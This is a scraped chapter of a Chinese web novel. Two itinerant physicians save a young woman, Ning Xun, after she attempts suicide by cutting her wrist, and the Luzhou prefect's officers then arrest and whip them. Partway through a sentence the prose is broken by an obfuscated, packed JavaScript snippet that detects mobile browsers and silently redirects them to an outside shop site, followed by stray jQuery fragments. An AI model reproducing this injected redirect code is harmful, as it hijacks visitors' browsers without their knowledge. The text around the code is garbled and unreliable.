默认冷灰
24号文字
方正启体

36. 泸州险情救宁洵

作者:一方青月本书字数:K更新时间:
    春色已退,夏叶绿意渐深,自树梢里洒下斑斑点点辉光,碎金摇曳枝头。


    泸州知府宅,幽深僻静,绿树成荫,是一处乘凉的好所在。


    一声女子急促的惊呼划破泸州知府宅里的安宁,鸟雀惊起,扑棱至房梁。挺拔的翠竹几处摇晃,探长了身影进屋,望着大门突然被推开后,房中受刑的一男一女。


    那男女被分别架在两处横木上,双手受缚,面容憔悴。


    女子呼吸清浅,见到门外冲进来的宁洵面容,她嘴角微动,哑声无言,最终体力不支地陷入黑暗之中。


    那女子,正是出逃至泸州的秦施施。而她身旁,束手无策的冷枕玉泪水连连,懊恼不已。


    冷枕玉身上横着几道鞭血,皆是被绑来的第一日受的。被绑了几日,枉论秦施施,就连他这个一向身体康健的成年男子也有些受不住了。


    经此一事,他们才明白,原来这泸州知府是个疯子。


    宁洵手腕处纱布带着浅浅血迹,面色也只比他们二人好那么一点。


    冷枕玉猜测宁洵另有心事,可他们救了她,却遭此无妄之灾,也实在憋屈。又见秦施施支撑不住昏迷,顿时急火攻心,便是病猫也得呲牙相向,他白着唇色哑声吼道:“我们没有招惹你!”


    时间回到了三天前,秦施施和冷枕玉一路出逃,路上也算风平浪静。


    二人在车上谈起这段时间在金陵所遇,最后感慨,他们都不适合在金陵求生。


    “师兄,手臂的伤口要处理了。”秦施施说罢,替他细细擦了药,又轻轻吹拂药膏,微风带着她独有的气息,勾得冷枕玉心里也泛起莫名的涟漪。


    舟车劳顿了几日,冷枕玉对秦施施无微不至,见她面色总是恹恹,心里疼惜瞬时涌遍全身,望着单薄的女子,心底的声音不断响起,催着他把她拥入怀中。


    静默里,男子的臂弯带着入夏的暖意,胸膛处心脏跳动的声音,透过衣衫击打在秦施施身上。


    她受了惊吓,不知道该作何反应,一时忘了呼吸,眼睛却不清不楚地发痛起来。头顶传来冷枕玉闷闷的声音,坚定无比:“施施,不论旁人如何,我都永远选择你。”


    选她?秦施施垂下眼帘,望着自己清瘦的双手,师兄选她?


    她没有家了,可是师兄说选她?就算是谎言,她也想相信。


    心里一阵委屈泛起,鼻头酸楚,正要回抱住他,马车突然踉跄急刹,两个人齐齐撞向车壁。


    “公子,有人想跳河。”残阳如血,金黄辉光映着粼粼河面,车夫指了指城郊外石洞桥旁犹犹豫豫的女子。


    这便是他们和宁洵的初遇。


    远远看去,宁洵身若蒲柳,在桥边犹豫徘徊。


    两人下了车凑近去劝,见宁洵整个人有些恍惚,又面无血色,秦施施怕她做了傻事,忙找了个借口请宁洵与他们同行。


    宁洵目光呆滞,身上一套淡黄粗布麻衣,已经洗得没了麻黄。听闻二人说进城,定睛一看,相貌出众的男女神色和善,便半推半就地上了马车,最后又回了城。


    原本宁洵说进了城便要回家去,可秦施施哪里肯轻易放她孤身离开,好说歹说劝她一同休息,过了夜里,等第二日天明再回家也安全些。如此说定后,三人便各自在两间房歇下了。


    一路赶路,又日夜忧惧追捕,冷枕玉到了泸州,才稍稍放下了心,很快与周公相谈甚欢。


    宁洵与她一张床同卧,秦施施安慰道:“我见洵姐姐面色发青,忧思甚重。我们萍水相逢,指不定明日分道扬镳,便再也没有重合,姐姐信得过我,可以同我说说。”


    其实她自己何尝不是百般乱绪无处可理,只是一路抛下秦府、凌慕阳,全心全意地念着未来平平淡淡的日子,也渐渐安定了很多。


    如今见到宁洵这样心如死灰的模样,她心中怜惜,也出言相劝。


    宁洵只是淡淡地说无事,叫她早些睡。如此一来,秦施施便安然睡去。


    夜半时分,秦施施心神不安躁动,只觉房中血腥之位弥漫各处,从床榻上倏忽坐起。


    漆黑夜色蒙住了她的双目,她心中生出一分紧张,摸向身旁之人,空无一人。


    什么也顾不上了,秦施施光着脚跳下了床,摸黑点亮房中烛火。


    火光跃动处,宁洵娇小的身形凌乱地卧在远离床榻的对向墙边,左手放在铜色的水盆里,盆里血色浓厚。


    那躺着的人儿面色苍白,不省人事。


    秦施施瞳目一缩,跑到宁洵面前,一探颈边,才敢浅浅松了半口气。她将头上丝带解下,束着宁洵左手,把她汩汩流血的手拿出水盆。


    转头她又掏出行李,把寥寥几件衣衫都抖落床上,寻到携带的凝血丸挤入宁洵喉中。罢了,她再替宁洵厚厚地缠着纱布。


    这些事情于她而言,不过小事,只是她心里难过极了,不明白宁洵不过二十年华,何故伤心至此要舍弃生命。


    又不知她是怎样一个苦命人。


    秦施施叹了一口气,抱了床上的被子,在地上铺开,给宁洵垫上。这才想起来要另一床被子,便敲响了隔壁师兄的房间门。


    门前这个长发飘飘,玉颜端庄的女子,可身上衣衫却血迹斑斑,赤足踏在木板上,淡定地说:“师兄,宁洵昨夜寻死了。”


    若非亲眼所见,冷枕玉还以为自己在做什么光怪陆离的梦。


    转眼,秦施施便进了冷枕玉房间。冷枕玉接过秦施施的被子,替宁洵盖上。


    秦施施的房内,地上坐着一男一女,倚靠墙壁,躺着一个盖着深蓝被褥的女子。远处夜鹰鸣叫尖锐,月色淡薄如水,照在二人清淡而有些沉重的面容上。


    两人皆是游方医者,无惧生死,可若是能活,何必寻死。故而见到宁洵这样模样,实在百思不得其解。


    “大概刚烈应如是。”秦施施最后道,她心想自己不是刚烈之人,若能苟且偷生,她便是无名无姓,也要活着。


    死多容易啊,脖子一抹,眼睛一闭,一生就过去了。


    从此春花秋月,夏雨冬雪,天罗万象,都了无牵挂。


    可秦施施放不下许多事情。


    她想治病救人,想看遍千山万水,想尝尽人间美食,即使只有一日,也要活够十二时辰。


    那日师兄说选择她,她心中一动,竟有一种千帆过尽,有缘人在眼前的感慨。


    无关风月,也有真情。


    两人如此叹息着,又庆幸救下了宁洵。冷枕玉站起身:“施施,你的衣衫都脏了,你先换了,穿好鞋袜,省得着凉了,我回房中把师父送的人参水拿来,也给她吊着气。”


    东方鱼肚泛白,金乌未现,山下散出道道金光,客栈的大门突然被撞开。


    杂乱无章的脚步声从楼下越来越近,推搡叫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598885|180365||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    骂的声音在二楼响起,秦施施未来得及站起,便见房门被两个官差踢开,门栓处灰尘碎屑飘飞空中。


    “给我把戕害夫人的贼人抓起来!”领头的官差头戴方巾帽,腰间稳稳系着泸州官府牙牌。


    他话音刚毕,一个青衣团领的俊美男子便匆忙踏步而来。一见躺在地上盖着被褥的宁洵,他紧绷的神色倏忽松了下来,转头便叫官差把秦施施和冷枕玉扣下了。


    即便他不说,秦施施也猜到,他大概是泸州知府。


    在家中,她见过秦正行穿官袍。面前俊美男子这身上的,虽非官服,却是朝中分发的官员常服,腰间佩药玉,又能叫动泸州官差一大早破门而入的,想必是泸州知府无疑了。


    照方才说来,面前的宁洵竟是知府夫人?秦施施脑中浮现心神不宁、一身粗布的宁洵的模样,有些不敢相信。


    秦施施被负住双手,也没有人问话,就要把她和冷枕玉二人移送出房间。她见那人要挪动宁洵,连忙喊道:“伤患失血过多,尚未复原,不可轻易挪动,请大人……”


    未能交代完毕,二人便被送上了马车。虽然这十几个都是官差,可这知府到底没有证据,因此并未使用囚车。


    马车装饰朴素,干净素雅,像是私人所用,秦施施对官差道:“想必是有什么误会了,我们都是初初入城的良民。”


    “良民?”那官差竟把他们行李里的文书丢在二人腿上,整洁的文牒被砸开,露出金陵的印章。“良民居然敢伪造文书!”


    秦施施和冷枕玉相视一看,顿时明白已经被搜查了行李。


    昨夜他们入住,为了以防秦施施身份暴露,用的是冷枕玉买来的太子府上一个浣衣婢的身份文书。而秦施施自己的,也带了过来,如今被搜出来,丢在面前,她一时间也不知道该作何解释。


    “你们不会不知道,你们伪造的乃是相府嫡女的身份?”官差轻哼,见二人死心不再言语,便权当他们认罪伏法,威严地驾马回衙。


    到了衙门,却不公审,两人进了私刑之房。


    房中刑具不多,两个并排木架,旁边是长鞭短刀,还有半碗剩下的盐水。


    冷枕玉见他们要用刑,顾不上隐瞒,神色紧张喊道:“你们只道我们造假,可没有想过,她若是真的,日后有你们好受的!”


    虽是威胁,可秦施施与静王是御赐的姻缘,泸州官差虽不识其人,却也总是听过的。国法森严,若是冤枉了人,算是一罪,若是冤枉了静王妃,又是一罪……


    他们并非什么穷凶极恶之人,亦无需冒险,可见冷枕玉如此威胁,几个官差还是不爽,便怒道:“打不得她,还打不得你吗?!”语罢,一道凌厉的鞭刑已经落在冷枕玉身上。


    鞭打空气的肃杀声在室内回荡,秦施施怒不可遏,咬牙道:“放肆!岂有未审先刑之理?”


    这些官差对他们大人言听计从,毕恭毕敬,原本是因为宁洵重伤在外,众人怒火中烧,如今又是被秦施施二人激怒,横竖也抽了几鞭子冷枕玉,也算是解了气。听了秦施施喝止,转念一想,确实处置不当,便不再施刑,独独留两人在房中受刑捆绑。


    直到今日宁洵醒来,她一问便急匆匆地跑来,哭得满脸泪花,连声道歉。


    冷枕玉平日里温和如玉,如今怒火中烧,这才出言骂她。


    既是责她不爱惜生命,也怪她连累他们二人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)